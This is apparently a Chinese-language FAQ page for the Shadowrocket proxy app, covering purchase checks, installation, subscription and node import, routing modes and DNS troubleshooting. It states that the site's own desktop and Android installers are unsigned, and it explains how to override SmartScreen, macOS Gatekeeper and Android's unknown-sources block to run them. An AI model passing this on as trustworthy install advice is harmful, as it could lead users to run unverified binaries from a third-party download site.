Shadowrocket 常见问题
先确定问题发生在哪一步,再展开对应答案。购买记录、系统权限、导入内容和分流设置应分别检查,不必一开始就重装。
正版与购买
先核对产品页和购买账号,再处理地区或已购记录问题。
电脑和安卓能用 Shadowrocket 吗?各平台如何获取?
能。iPhone / iPad 版在 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费。Mac 提供 Apple 芯片版与 Intel 版;其他平台也应按设备与包格式选择。先进入本站下载页,再使用对应平台按钮,安装包经本站 /dl/shadowrocket/ 路径获取。Shadowrocket 是闭源商业应用;客户端一次性买断 ≠ 线路套餐,连接前需要准备自己已有的订阅或服务器信息。
App Store 里搜不到 Shadowrocket,先检查哪里?
先打开本页提供的 App Store 产品页,确认是否能在当前账号地区显示。中国大陆商店未上架此应用;设备语言或系统地区不等于购买账号的商店地区。可在系统 Settings 中进入 Apple Account、Media & Purchases、View Account,核对 Country/Region。如确需调整,使用 Apple 的官方更改国家或地区流程,先处理余额、现有订阅和付款方式;不要仅为搜索结果反复修改地区。
如何在 App Store 核对 Shadowrocket 正版?
把产品名称、官方图标和开发者信息放在一起核对:开发者应为 Shadow Launch Technology Limited,产品页链接中的应用 ID 应为 932747118,图标应与本站官方图标一致。不要仅凭搜索列表中的名称判断。iPhone / iPad 版在 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费;若看到同名免费商店条目,应返回指定产品页重新核对,而不是直接安装。
换 iPhone、重新安装或在 iPad 上使用,要再买一次吗?
通常不需要。当初购买应用时使用的同一 Apple ID 可在 iPhone 与 iPad 上恢复已有购买;iPhone / iPad 版 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费。先确认 Media & Purchases 登录的是当初购买的账号,再到 App Store 的账户页查找已购 App,使用云下载按钮。iPhone / iPad 系统要求以 App Store 页面标注为准。购买记录不等于配置备份,换机前仍需保存已有服务器信息和配置。
买过以后仍显示购买按钮,应该怎么处理?
先不要重复付款。核对购买收据中的账号、应用名称与当前 Media & Purchases 账号,再进入 App Store 账户页检查已购项目;iCloud 登录账号与商店购买账号可能不同。也要确认打开的是应用 ID 932747118 的产品页,而不是相似名称的条目。记录仍未出现时,通过 App Store 的购买记录与 Apple 官方支持核查订单状态。恢复购买只恢复应用获取资格,不会自动恢复订阅地址、服务器密码或本地配置。
安装与首次打开
安装提示先核对来源;系统权限只按当前操作需要授予。
Mac 应该选 Apple 芯片版还是 Intel 版?
打开苹果菜单中的“关于本机”。若显示“芯片”并标注 Apple 芯片,选择下载页的 Mac Apple 芯片版;若显示 Intel 处理器,选择 Mac Intel 版。不要根据电脑外观、购买年份或浏览器判断架构。iPhone / iPad 版 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费。下载后将应用放入 Applications;首次打开若被系统拦截,先确认来源为本站,再按本页的 macOS 放行步骤处理。
Windows 提示有风险或 SmartScreen 拦截,怎么放行?
先确认安装文件由本站下载页取得,下载路径为本站 /dl/shadowrocket/ 下的文件。安装包没有代码签名,首次运行可能出现 SmartScreen 提示;核对来源后,可选择“更多信息”,再选择“仍要运行”。如果提示来自单位管理策略、文件被安全软件隔离,或页面根本没有继续按钮,先停止操作并检查具体提示,不要全局关闭系统防护。安装完成后再打开 Shadowrocket,按系统请求授予建立连接所需权限。
Mac 提示无法验证开发者,或应用已损坏,怎么办?
先核对芯片版本和下载来源,并把 Shadowrocket 放入 Applications。安装包没有代码签名;出现“无法验证开发者”时,可在系统设置的“隐私与安全性”中找到本次拦截记录,选择“仍要打开”并确认。若显示“已损坏”,先重新下载;确认是本站文件且位置正确后,可在 Terminal 执行 xattr -cr /Applications/Shadowrocket.app,再尝试打开。该命令清除指定应用的扩展属性,不应替换为针对整个磁盘的操作。
安卓和 Linux 首次安装,需要处理哪些权限?
安卓应从本站下载页取得 arm64 安装包;系统阻止安装时,仅为实际打开文件的浏览器或文件管理器开启“允许安装未知应用”,完成后可关闭这项权限。首次连接再确认系统 VPN 授权。Linux 按发行版选择 deb、rpm 或 AppImage;AppImage 需先添加可执行权限,例如 chmod +x Shadowrocket.AppImage,文件名以实际下载为准。安装包没有代码签名,遇到来源提示先核对本站下载路径,不要直接关闭整套系统防护。
第一次打开界面是英文,应该从哪里开始?
先识别几个固定入口,不必逐项调整 Settings。Home 用于选择服务器和连接;Add Server 用于添加自己已有的服务器信息;Config 用于管理配置文件;Global Routing 用于选择配置、代理或直连,对应 Config、Proxy、Direct。导入后先选定一个服务器,再打开 Home 顶部开关,最后运行 Connectivity Test。官方手册保留英文界面词,便于逐项对照;不同平台或系统语言下入口位置可能不同,应以实际界面为准。
订阅与节点导入
先区分订阅地址与单个服务器,再检查格式、字段和更新结果。
已有订阅如何导入?和单个服务器信息有什么区别?
先确定拿到的是订阅地址,还是单个服务器的地址、端口和认证字段。订阅地址应放入 Add Server 中的 Subscribe 类型入口,按界面填写地址和便于辨认的备注,再保存并更新列表;单个服务器则要选择相应协议,逐项填写参数。不要把整条订阅地址填进服务器 Address 字段。导入只建立本地条目,不代表已经连接成功;保存后仍需选择默认服务器、检查 Global Routing,并用 Connectivity Test 验证。
订阅导入失败,应该按什么顺序检查?
先检查地址是否完整,尤其是查询参数、大小写和末尾字符,去掉复制时带入的空格与换行。再区分“请求失败”和“内容解析失败”:前者先检查当前网络与地址是否有效,后者检查返回内容是否为支持的订阅格式,而不是登录页、错误页或说明网页。确认已有订阅仍有效后,再尝试更新一次。向自己的服务商反馈时只提供错误提示和发生步骤;截图应遮住完整订阅地址及认证字段,避免暴露可用凭据。
更新订阅后服务器变了,原来的选择和备注还在吗?
更新会按远端内容刷新订阅组,服务器名称、数量和参数都可能变化,因此不要把远端条目当作永久不变的记录。更新前先记下当前所选服务器与重要的本地调整,必要时备份配置;更新后重新确认默认服务器是否仍存在,再运行 Connectivity Test。若更新失败,先查看错误提示,不要立即删除整个订阅组。手工添加的服务器与订阅生成的条目应分开辨认,避免在批量清理时误删仍需使用的内容。
Scan QR Code 扫描后没有可用服务器,怎么判断原因?
先确认相机权限已允许,二维码完整、清晰且未被遮挡。Scan QR Code 需要识别受支持的服务器或订阅内容;普通网页二维码、登录确认码或过期图片不一定能生成条目。扫描后若打开编辑页,应核对协议、Address、Port 和认证字段再保存,而不是看到名称就直接连接。只有图片时可按实际界面提供的相册识别入口操作;仍无法解析时,向自己的服务商核对原始信息,并手动使用 Add Server 填写。
VMess、VLESS 或 Hysteria2 导入后仍失败,需要核对什么?
先确认协议类型与已有服务器信息一致,再逐项检查地址、端口和认证字段。VMess 与 VLESS 尤其要核对 UUID、传输方式及对应的 Host、Path;使用 TLS 时检查服务器名称与证书相关设置。Hysteria2 要确认认证信息和 UDP 网络条件,不能仅凭其他协议能连接就判断它也应可用。不要靠随机开启选项排查,更不要随意关闭证书验证;每次只修改一项,测试后记录结果,便于定位具体字段或网络条件。
规则与故障排查
每次只改一项;使用相同目标复测,才能判断是哪项设置产生影响。
Home 顶部开关打不开,或刚打开就关闭,怎么处理?
先确认已选择一个参数完整的服务器,并留意系统是否弹出 VPN 配置授权;未完成授权时,开关可能无法保持开启。再检查是否同时启用了其他 VPN 连接或设备管理策略,先停止冲突的连接后重试。仍失败时关闭 Shadowrocket、重新打开,并查看系统 VPN 设置中是否留有异常配置。删除配置前先备份应用内信息,只处理明确属于 Shadowrocket 的记录;受管理的设备应由管理员确认权限,而不是反复重装。
开关已开却无法上网,最先检查哪几项?
按服务器、Global Routing、DNS、规则的顺序排查。先运行 Connectivity Test;若当前服务器失败,换一个自己已有的可用服务器,并对比 Wi-Fi 与移动网络。测试通过后临时切到 Proxy,查看目标网页是否恢复;若仅 Config 失败,优先检查规则与配置选择。若可以访问 IP 但域名失败,再检查 DNS 设置。每次只改一处并重复相同测试,完成后恢复原来的分流姿态;开关开启只说明连接配置已启动,不等于目标请求一定成功。
Global Routing 的 Config、Proxy、Direct 三种姿态怎么选?
配置姿态 Config 按当前配置文件中的规则决定请求去向,适合需要分流时使用;代理姿态 Proxy 用于让普通请求走所选代理路径,适合短时验证服务器与规则差异;直连姿态 Direct 用于直接访问,适合对比本地网络状态。界面上应分别选择 Config、Proxy、Direct,不要把策略名 PROXY、DIRECT 与姿态混为一谈。若 Proxy 可用而 Config 不可用,检查当前配置、规则顺序和 FINAL;排查完成后切回实际需要的姿态。
DNS 设置怎样排查,才不会越改越复杂?
先保存当前配置,记录正在使用的 DNS 设置,再比较同一服务器、同一网站在不同网络下的结果。域名打不开而已知 IP 可达,只能作为解析异常的线索,还需结合日志中的查询结果判断。若此前手动添加过 DNS 地址,可先恢复原配置或系统解析进行对照;不要同时更改 DNS、服务器和规则。使用自定义解析器时,还要确认解析器本身的连接路径可达。恢复后重复测试相同域名,确认结果稳定,再保留必要的修改。
连接后耗电增加或速度变慢,应该怎么定位?
先在系统电池统计中观察一段实际使用时间,区分持续传输、后台任务与频繁重连,不要仅凭刚开启后的短时数据判断。速度问题先对比本地网络,再固定同一测试目标更换自己已有的服务器;Connectivity Test 反映连通性,不代表实际传输带宽。检查是否长时间保留详细日志、频繁自动测试或反复触发连接,按需要减少这些操作。若问题出现在更新之后,先备份配置并核对相关设置,逐项恢复验证,而不是一次重置全部内容。